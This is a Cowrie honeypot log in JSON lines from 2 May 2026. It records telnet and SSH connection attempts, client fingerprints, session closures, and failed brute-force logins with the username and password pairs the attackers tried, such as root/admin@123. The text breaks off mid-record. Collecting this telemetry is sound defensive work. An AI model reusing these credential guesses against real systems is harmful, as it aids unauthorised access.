{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d312f0cca8fb","protocol":"telnet","message":"New connection: 165.232.131.181:36636 (10.17.0.5:23) [session: d312f0cca8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:55.418247Z"}
{"eventid":"cowrie.session.closed","duration":3.8018922805786133,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:47:59.220060Z","src_ip":"165.232.131.181","session":"d312f0cca8fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bc74c2fa20","protocol":"ssh","message":"New connection: 20.203.42.204:57096 (159.203.135.109:22) [session: 66bc74c2fa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:00.318751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:00.432384Z","src_ip":"20.203.42.204","session":"66bc74c2fa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:00.594584Z","src_ip":"20.203.42.204","session":"66bc74c2fa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40864,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e9cd98d936","protocol":"telnet","message":"New connection: 38.54.119.93:40864 (10.17.0.5:23) [session: f8e9cd98d936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:01.173177Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:01.248825Z","src_ip":"20.203.42.204","session":"66bc74c2fa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:02.418688Z","src_ip":"20.203.42.204","session":"66bc74c2fa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.94029188156128,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:02.598660Z","src_ip":"38.54.119.93","session":"1d74cfef2756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54020f56e5b","protocol":"telnet","message":"New connection: 62.210.97.77:58196 (10.17.0.5:23) [session: f54020f56e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:13.325070Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":53982,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc96656434b3","protocol":"ssh","message":"New connection: 103.176.20.115:53982 (10.17.0.5:22) [session: bc96656434b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:17.782929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:17.787518Z","src_ip":"103.176.20.115","session":"bc96656434b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173163414001,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:17.892070Z","src_ip":"165.232.131.181","session":"b57aeda3c810","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:18.050966Z","src_ip":"103.176.20.115","session":"bc96656434b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jenny123","message":"login attempt [root/jenny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:19.115548Z","src_ip":"103.176.20.115","session":"bc96656434b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:20.377926Z","src_ip":"103.176.20.115","session":"bc96656434b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d633d427fff","protocol":"telnet","message":"New connection: 192.211.53.160:48346 (159.203.135.109:23) [session: 7d633d427fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:27.242840Z"}
{"eventid":"cowrie.session.closed","duration":2.5620839595794678,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:29.804776Z","src_ip":"192.211.53.160","session":"7d633d427fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.83597135543823,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:36.423899Z","src_ip":"165.232.131.181","session":"17323331883f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52518,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe480ad09366","protocol":"telnet","message":"New connection: 65.60.27.33:52518 (10.17.0.5:23) [session: fe480ad09366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:39.984364Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":45946,"dst_ip":"159.203.135.109","dst_port":22,"session":"44f8bcd780af","protocol":"ssh","message":"New connection: 61.72.55.130:45946 (159.203.135.109:22) [session: 44f8bcd780af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:40.384998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:40.390101Z","src_ip":"61.72.55.130","session":"44f8bcd780af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:40.595491Z","src_ip":"61.72.55.130","session":"44f8bcd780af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"Aa123456","message":"login attempt [admin1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:41.431691Z","src_ip":"61.72.55.130","session":"44f8bcd780af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50054,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb08fb0eac13","protocol":"telnet","message":"New connection: 165.232.131.181:50054 (10.17.0.5:23) [session: eb08fb0eac13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:41.859936Z"}
{"eventid":"cowrie.session.closed","duration":0.15842986106872559,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:42.018218Z","src_ip":"165.232.131.181","session":"eb08fb0eac13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49338,"dst_ip":"10.17.0.5","dst_port":23,"session":"9caea570748f","protocol":"telnet","message":"New connection: 45.81.23.16:49338 (10.17.0.5:23) [session: 9caea570748f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:42.609512Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:42.636920Z","src_ip":"61.72.55.130","session":"44f8bcd780af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.101587772369385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:46.426537Z","src_ip":"62.210.97.77","session":"f54020f56e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41762,"dst_ip":"10.17.0.5","dst_port":23,"session":"509db5df1cf5","protocol":"telnet","message":"New connection: 38.54.119.93:41762 (10.17.0.5:23) [session: 509db5df1cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:46.431628Z"}
{"eventid":"cowrie.session.closed","duration":46.37565994262695,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:47.548720Z","src_ip":"38.54.119.93","session":"f8e9cd98d936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.318315744400024,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:47.927699Z","src_ip":"45.81.23.16","session":"9caea570748f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49722,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8e542e29608","protocol":"telnet","message":"New connection: 38.54.119.93:49722 (10.17.0.5:23) [session: d8e542e29608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:48:58.304708Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"87486267feef","protocol":"telnet","message":"New connection: 38.54.119.93:54330 (10.17.0.5:23) [session: 87486267feef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:05.551679Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c8c727fc552","protocol":"telnet","message":"New connection: 38.54.119.93:59786 (10.17.0.5:23) [session: 1c8c727fc552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:13.977943Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":42616,"dst_ip":"10.17.0.5","dst_port":22,"session":"37f0cfb7832b","protocol":"ssh","message":"New connection: 103.176.20.115:42616 (10.17.0.5:22) [session: 37f0cfb7832b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:16.070269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:16.075523Z","src_ip":"103.176.20.115","session":"37f0cfb7832b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:16.330594Z","src_ip":"103.176.20.115","session":"37f0cfb7832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ec539f4503","protocol":"telnet","message":"New connection: 38.54.119.93:33072 (10.17.0.5:23) [session: b6ec539f4503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:16.341056Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"h0j9k8l7ZAQ!","message":"login attempt [root/h0j9k8l7ZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:17.380660Z","src_ip":"103.176.20.115","session":"37f0cfb7832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33912,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1216880d78d","protocol":"telnet","message":"New connection: 38.54.119.93:33912 (10.17.0.5:23) [session: b1216880d78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:17.831069Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:18.639621Z","src_ip":"103.176.20.115","session":"37f0cfb7832b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.97135066986084,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:18.949169Z","src_ip":"38.54.119.93","session":"1c8c727fc552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.24207305908203,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:21.226346Z","src_ip":"65.60.27.33","session":"fe480ad09366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.180131435394287,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:25.011018Z","src_ip":"38.54.119.93","session":"b1216880d78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":43842,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0be5a9e8ba5","protocol":"ssh","message":"New connection: 61.72.55.130:43842 (159.203.135.109:22) [session: d0be5a9e8ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:38.332468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:38.337955Z","src_ip":"61.72.55.130","session":"d0be5a9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:38.536789Z","src_ip":"61.72.55.130","session":"d0be5a9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"!@#","message":"login attempt [git/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:39.359461Z","src_ip":"61.72.55.130","session":"d0be5a9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49020,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfd37681f2f","protocol":"telnet","message":"New connection: 38.54.119.93:49020 (10.17.0.5:23) [session: 1cfd37681f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:40.535341Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:40.559694Z","src_ip":"61.72.55.130","session":"d0be5a9e8ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.40.60.5","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"39846127e2cd","protocol":"telnet","message":"New connection: 181.40.60.5:53548 (10.17.0.5:23) [session: 39846127e2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:41.660911Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":37128,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de7c5eb4a01","protocol":"ssh","message":"New connection: 20.203.42.204:37128 (159.203.135.109:22) [session: 6de7c5eb4a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:44.660421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:49:44.667829Z","src_ip":"20.203.42.204","session":"6de7c5eb4a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client 